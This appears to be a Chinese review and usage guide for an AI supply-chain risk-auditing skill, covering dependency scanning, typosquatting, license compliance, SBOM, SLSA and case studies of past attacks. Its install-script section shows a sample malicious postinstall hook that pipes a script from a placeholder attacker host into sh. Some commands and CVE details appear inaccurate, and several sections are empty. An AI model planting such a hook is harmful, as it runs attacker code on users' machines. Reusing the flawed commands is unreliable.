supply-chain-risk-auditor Skill 多维度简评

综合评分：8.4 / 10 ⭐⭐⭐⭐ 类别：安全工具 / 供应链 仓库：trailofbits/skills 维护者：Trail of Bits

一、核心定位与价值

2020 年的 SolarWinds 事件、2024 年的 XZ Utils 后门（CVE-2024-3094）、npm 的 event-stream 投毒……

供应链攻击已成为最致命的安全威胁之一。攻击者不再正面攻击你的代码，而是通过污染你的依赖来入侵。

supply-chain-risk-auditor Skill 是 Trail of Bits 14 个安全 Skill 中专门解决这个问题的。

二、核心能力

2.1 依赖扫描

npm audit
pip-audit
cargo audit
go list -m -json all | nancy
bundle-audit

自动识别：

• 已知 CVE（基于 NVD、GitHub Advisory、OSV Database）
• 过期维护
• License 问题
• 维护者风险
• 包健康度

2.2 Typosquatting 检测

识别可疑的相似包名：

❌ react vs reactt vs reakt vs raect
❌ lodash vs loadash vs lodahs
❌ express vs expres vs epress

2.3 安装脚本审查

检测可疑的 install script：

{
  "scripts": {
    "postinstall": "curl http://malicious.com/x.sh | sh"
  }
}

2.4 维护者行为分析

• 突然更换维护者（rubygems 事件）
• 短时间大量变更
• 新维护者首次发布
• 仓库可疑变更

2.5 License 合规

• GPL/AGPL 传染性 License
• 未声明 License
• License 变更

三、6 大实战场景

场景 1：引入新依赖前审计

引入 @aws-sdk/client-s3 v3.450.0 之前，用 supply-chain-risk-auditor 审计：
- 作者可信度
- License 兼容
- 已知 CVE
- 维护活跃度
- 安装脚本风险

场景 2：全仓依赖审计

用 supply-chain-risk-auditor 扫描 package.json，找出所有过期/有风险依赖。

场景 3：License 合规检查

检查所有依赖的 License，确保符合我们公司的开源合规要求。
不能有 GPL 传染。

场景 4：供应链攻击检测

扫描所有依赖，查找可疑模式：
- 名字相似（typosquatting）
- 突然更新大量代码
- 包含可疑的 install script
- 维护者变更

场景 5：升级建议

基于我们的依赖图，给出安全的升级路径：
- 哪些必须升级（有 CVE）
- 哪些建议升级（过期）
- 哪些可保持

场景 6：定期合规扫描

每月用 supply-chain-risk-auditor 做一次全量扫描，输出合规报告。

四、实战提示词模板

4.1 标准审计提示词

用 supply-chain-risk-auditor 审计 [package.json / requirements.txt / go.mod]：

重点关注：
1. 已知 CVE
2. 过期依赖（> 6 个月未更新）
3. License 风险
4. 安装脚本风险
5. Typosquatting 风险
6. 维护者健康度

输出：
- 风险分级（Critical / High / Medium / Low）
- 具体依赖列表
- 修复建议
- 升级路径

4.2 新依赖引入前

我们要引入 [包名] @ [版本]。
用 supply-chain-risk-auditor 评估：
- 是否存在已知漏洞
- 作者历史是否可信
- License 兼容性
- 是否被广泛使用
- 维护活跃度
- 是否有可疑的 install scripts
- 是否有可疑的代码模式

给出最终建议：建议引入 / 谨慎引入 / 不建议引入 / 替代方案

4.3 XZ Utils 类事件响应

[某个依赖] 爆出 [后门/CVE] 事件。
用 supply-chain-risk-auditor：
1. 排查我们项目是否使用了该依赖
2. 评估影响范围
3. 给出升级/移除方案
4. 列出类似风险的其他依赖

五、实战输出示例

## supply-chain-risk-auditor 报告

### 总体统计
- 总依赖数：142
- Critical：3
- High：12
- Medium：28
- Low：45
- 健康：54

### Critical 风险

#### 1. lodash @ 4.17.20（CVSS 9.1）
- **CVE**: CVE-2021-23337
- **类型**: 命令注入
- **影响**: 模板字符串中的 prototype pollution
- **修复**: 升级到 4.17.21+
- **位置**: package.json

#### 2. node-fetch @ 2.6.6（CVSS 9.8）
- **CVE**: CVE-2022-0235
- **类型**: 信息泄露
- **影响**: 跨域请求暴露敏感数据
- **修复**: 升级到 2.6.7+

### High 风险
...（12 项）

### License 问题
- `some-package@1.0.0` 使用 GPL-3.0，与我们的 MIT 不兼容
- `another-package@2.1.0` 未声明 License

### 可疑 install scripts
- `sketchy-pkg@1.0.0` 在 postinstall 阶段执行 curl | sh
- **建议**: 立即移除

### 维护者风险
- `unmaintained-pkg@0.5.0` 最近 2 年无更新
- **建议**: 寻找替代方案

### 升级路径建议
```json
{
  "lodash": "^4.17.21",
  "node-fetch": "^2.6.7"
}

---

## 六、与 SAST 工具对比

| 维度 | supply-chain-risk-auditor | npm audit / Snyk |
|---|---|---|
| **范围** | 全面（安全 + License + 维护） | 仅漏洞 |
| **智能程度** | AI 理解上下文 | 规则匹配 |
| **修复建议** | 上下文相关 | 通用升级建议 |
| **集成方式** | Skill 调用 | CLI / CI 集成 |
| **深度分析** | 可深入代码 | 仅元数据 |

**最佳实践**：
- CI 用 npm audit（自动化）
- 关键升级用 supply-chain-risk-auditor（深度分析）

---

## 七、安装

```bash
# Claude Code
/plugin marketplace add trailofbits/skills
/plugin install supply-chain-risk-auditor@trailofbits

# 通用
npx skills add trailofbits/skills --skill supply-chain-risk-auditor

八、5 条实战技巧

1. CI 集成：每次 PR 自动审计
2. 白名单机制：公司认可的白名单
3. 定期扫描：每月一次全量
4. 关注作者变更：原作者转让的项目风险高
5. 传递依赖：直接依赖 + 间接依赖都要看

九、5 条反合理化

十、4 大供应链攻击案例

案例 1：XZ Utils 后门（2024）

事件：CVE-2024-3094
影响：liblzma 5.6.0/5.6.1 包含后门
触发：长期渗透 Jia Tan（假名）取得维护权
后果：SSH 服务器远程代码执行

案例 2：event-stream npm 投毒（2018）

事件：恶意代码植入 event-stream
影响：依赖该包的应用被窃取加密货币钱包
触发：维护者转让给攻击者

案例 3：SolarWinds（2020）

事件：Orion 软件更新被植入 SUNBURST 后门
影响：18,000+ 组织，包括美国政府
后果：大规模供应链攻击

案例 4：colors.js / faker.js 故意破坏（2022）

事件：维护者故意注入无限循环
影响：百万级项目构建失败
后果：凸显维护者单点风险

十一、与其他安全 Skill 配合

十二、Q&A

Q: 必须订阅 Claude Code 吗？ A: 效果最佳用 Opus 4.6+。

Q: 和 Snyk / Dependabot 区别？ A: 它们是规则匹配，这个是 AI 上下文理解。

Q: License 合规要查到什么程度？ A: 看公司政策。金融/医疗通常禁 GPL。

Q: 间接依赖呢？ A: 用 npm ls、pip show 看依赖树。

Q: 私有包怎么办？ A: 同样的原则，标记为内部风险。

Q: 中文支持？ A: Skill 是英文，处理中文代码无障碍。

十三、完整工作流详解（Trail of Bits 公开方法论）

13.1 三阶段深度审计

Phase 1：依赖清单生成

• 自动检测 lockfile（package-lock.json、yarn.lock、pnpm-lock.yaml、Cargo.lock、go.sum、requirements.txt、poetry.lock、composer.lock、Gemfile.lock）
• 解析依赖树，包括传递依赖
• 标记直接依赖 vs 间接依赖

Phase 2：多维风险评估

• CVE 已知漏洞：查询 GitHub Advisory、NVD、OSV
• License 合规性：识别 GPL/AGPL/SSPL/Commons Clause 等限制性 License
• 维护者健康度：commit 频率、issue 响应、贡献者数量
• 项目活跃度：star 增长、release 频率
• 社区信誉：知名组织背书

Phase 3：AI 上下文分析

• 评估风险在本项目语境下的严重性
• 给出可执行修复建议（升级到具体版本、替换包、隔离使用）
• 提供 patch diff 或 PR 链接

13.2 风险评分体系

综合风险评分 = Σ(维度评分 × 权重)

等级：

• Critical (9-10)：立即处理（24 小时内）
• High (7-8.9)：本周处理
• Medium (4-6.9)：本月处理
• Low (0-3.9)：下次例行审计处理

十四、SBOM（软件物料清单）自动生成

14.1 什么是 SBOM

SBOM（Software Bill of Materials）是软件供应链的”配料表”：

• 直接列出所有组件及其版本
• 用于合规审计、安全审计、License 追踪
• 美国行政命令 14028 要求联邦供应商提供 SBOM

14.2 主流 SBOM 格式

14.3 配合 Skill 自动生成

# 用 syft 生成 SBOM
npx skills add anchore/syft -y
syft . -o spdx-json > sbom.spdx.json
syft . -o cyclonedx-json > sbom.cdx.json

# 用 Skill 解读 SBOM
用 supply-chain-risk-auditor 分析 ./sbom.spdx.json，标记高风险组件。

14.4 SBOM 持续审计

# GitHub Actions: 每周自动生成 SBOM
name: SBOM Weekly
on:
  schedule:
    - cron: '0 0 * * 1'
jobs:
  sbom:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: |
          curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
          syft . -o spdx-json > sbom.spdx.json
          syft . -o cyclonedx-json > sbom.cdx.json
      - uses: actions/upload-artifact@v4
        with:
          name: sbom
          path: |
            sbom.spdx.json
            sbom.cdx.json
      # AI 分析 SBOM
      - name: AI Risk Analysis
        run: |
          npx skills add trailofbits/skills --skill supply-chain-risk-auditor -y
          # 调用 Claude 分析 SBOM

十五、SLSA（Supply-chain Levels for Software Artifacts）框架

15.1 SLSA 四级

15.2 与 supply-chain-risk-auditor 的关系

• auditor 评估风险（发现哪些包有问题）
• SLSA 提供保证（保证构建过程可信）
• 两者结合：用 SLSA 减少供应链风险，用 auditor 持续监控

15.3 SLSA 检查清单

□ 所有 release 通过 CI 自动构建（不是本地手动）
□ 构建产物签名（cosign / sigstore）
□ 源 commit 不可变（git tag 签名）
□ 构建环境隔离（容器化、不可变）
□ Provenance 可验证（SLSA L3 provenance）
□ 依赖来源锁定（lockfile + hash 验证）

十六、依赖签名验证

16.1 Sigstore 集成

# 用 cosign 验证 npm 包签名
cosign verify-blob \
  --signature node_modules/lodash/index.js.sig \
  --certificate-identity-regexp "https://github.com/lodash/lodash" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  node_modules/lodash/index.js

16.2 npm provenance 验证

# npm 9+ 自动生成 provenance
npm view lodash --json | jq '.provenance'
# 输出：{"provenance": {"url": "https://...github.io/..."}}

16.3 pip hash 验证

# requirements.txt 加 hash
pip install --require-hashes -r requirements.txt
# 或者用 pip-audit 验证
pip-audit --strict

16.4 Go module 校验

# go.sum 自动校验
go mod verify
# 输出：all modules verified

十七、Private Package Registry 最佳实践

17.1 用 Verdaccio 搭私有 npm

docker run -d --name verdaccio -p 4873:4873 verdaccio/vercel-storage
# 配置上游代理：npmjs 缓存
# 内部包只允许内网访问

17.2 镜像同步策略

# 关键依赖每天同步到内网
synp --source-format npm --target-format pnpm \
  package-lock.json pnpm-lock.yaml
# 离线安装（断网时也能装）
pnpm install --offline --frozen-lockfile

17.3 内部包漏洞管理

内部包 ─→ 定期 audit ─→ 漏洞修复 PR ─→ 内部发布 ─→ 通知使用方升级
   ↑                                              ↓
   └────────────── 自动告警 ←────────────────────┘

十八、4 大供应链攻击案例深度复盘

18.1 XZ Utils 后门（CVE-2024-3094）

Timeline：

• 2022-2024：攻击者 “Jia Tan” 长期潜伏，建立信任
• 2024-02-24：注入后门代码到 5.6.0 和 5.6.1
• 2024-03-28：Microsoft 工程师 Andres Freund 偶然发现
• 2024-03-29：全球紧急回滚

攻击手法：

1. 社会工程学：假装维护者，逐步获取信任
2. 长期潜伏：2 年时间建立可信贡献者形象
3. 隐蔽植入：藏在二进制 build 阶段，源码不可见
4. 目标精准：影响 sshd，远程代码执行

auditor 能识别的信号：

• 维护者变更频率异常（短时间内多人加入核心团队）
• 提交者地理位置异常跳跃
• 复杂构建脚本新增
• 缺少 provenance 验证

18.2 SolarWinds（2020）

攻击路径：

• 入侵 SolarWinds 内部 CI
• 注入恶意代码到 Orion 软件更新
• 18,000+ 客户下载后门版本
• 美国财政部、商务部、能源部、国土安全部中招

auditor 能识别的信号：

• 安装包 hash 与发布版本不匹配
• CI 流程异常
• 内部构建服务器被列入高风险

18.3 event-stream npm 包（2018）

Timeline：

• event-stream 是 200 万+ 项目的依赖
• 原作者将维护权转让给攻击者
• 攻击者加入 flatmap-stream 依赖（含恶意代码）
• 目标是盗取 Copay 钱包的比特币

auditor 能识别的信号：

• 维护者变更（原作者转让给陌生人）
• 新增不相关依赖
• 依赖下载量与实际功能不匹配

18.4 ua-parser-js 投毒（2021）

攻击路径：

• 攻击者盗取维护者 npm 账号
• 发布含挖矿木马和密码窃取代码的版本
• 数百个项目受影响

auditor 能识别的信号：

• 突然发布非预期版本
• 包体积异常增大
• 混淆代码比例异常

十九、License 合规深度解析

19.1 主要 License 风险等级

19.2 触发开源的边界

问题：用 GPL 库做 SaaS 是否必须开源？

答案：
- GPL：只在分发时触发，SaaS 不分发 → 不强制
- AGPL：网络分发也触发 → 强制开源
- SSPL：必须开源所有相关代码

19.3 License 检测工具

# 用 scancode-toolkit 检测
pip install scancode-toolkit
scancode -l --license-text . 

# 用 licensee（Ruby）
gem install licensee
licensee detect

# 用 reuse（FSF 推荐）
pip install reuse
reuse lint

19.4 在 Skill 中显式声明

# SKILL.md 提示词
我们公司政策：
- 禁止使用 AGPL/SSPL
- GPL 仅在动态链接的场景使用
- 所有依赖必须能生成 SBOM
- 关键依赖必须支持 provenance 验证
请基于以上政策审计当前项目。

二十、Prompt 模板库

模板 1：常规依赖审计

[背景] 我们项目 package.json 含 30 个直接依赖、200+ 传递依赖。
[任务] 完整审计供应链风险：
1. 已知 CVE（按 CVSS 排序）
2. License 合规（按公司政策）
3. 维护者健康度（半年未更新 = 高风险）
4. 升级路径（哪些可以自动升级）
[输出] Markdown 报告 + 风险评分表。

模板 2：XZ 类长期潜伏攻击排查

[背景] 最近 XZ Utils 后门事件暴露了"长期潜伏"风险。
[任务] 在我们项目的所有依赖中识别类似信号：
- 维护者突然变更
- 贡献者地理位置异常
- 复杂构建脚本新增
- 缺少 provenance 验证
[输出] 可疑依赖列表 + 调查建议。

模板 3：金融行业合规审计

[背景] 我们是金融科技公司，受 PCI-DSS 和银保监会监管。
[任务] 审计所有依赖的合规性：
- 禁用的 License（AGPL/SSPL）
- 高危 CVE（Critical/High）
- 维护者实名认证
- 来源国家（合规要求）
[输出] 监管提交级别的审计报告。

模板 4：升级前影响分析

[背景] 我们计划把 React 17 升级到 React 18。
[任务] 评估升级风险：
- 直接依赖的兼容性
- 间接依赖的连锁影响
- License 变更（如果有）
- 维护者状态变化
[输出] 升级风险报告 + 回滚方案。

模板 5：内部包发布前审查

[背景] 我们要把内部包 @company/auth 发布到内部 registry。
[任务] 审查这个包：
- 是否引入新依赖
- License 兼容性
- 签名/provenance 配置
- 漏洞状态
[输出] 发布前 Checklist。

二十一、总结

核心价值：

• 全面审计依赖安全 + License + 维护
• AI 上下文理解
• 实战级供应链攻击应对
• SBOM 自动化生成
• SLSA 框架支持

适用人群：

• 所有 Node.js / Python / Go / Java 项目
• 甲方安全团队
• 金融 / 医疗 / 政企
• 开源软件维护者
• SaaS 平台运营方

投入产出比：⭐⭐⭐⭐⭐（5/5）—— 所有项目必装。

何时不要用：

• 临时原型（依赖用完即丢）
• 单文件脚本（无依赖）
• 纯前端静态站（CDN 加载）

配套文档：trailofbits/skills 总览 | insecure-defaults 配置 | static-analysis 静态分析 | 精选技能对比

参考资料

1. trailofbits/skills GitHub 仓库
2. SLSA (Supply-chain Levels for Software Artifacts)
3. OWASP CycloneDX SBOM 标准
4. Sigstore — 软件签名与验证
5. GitHub Advisory Database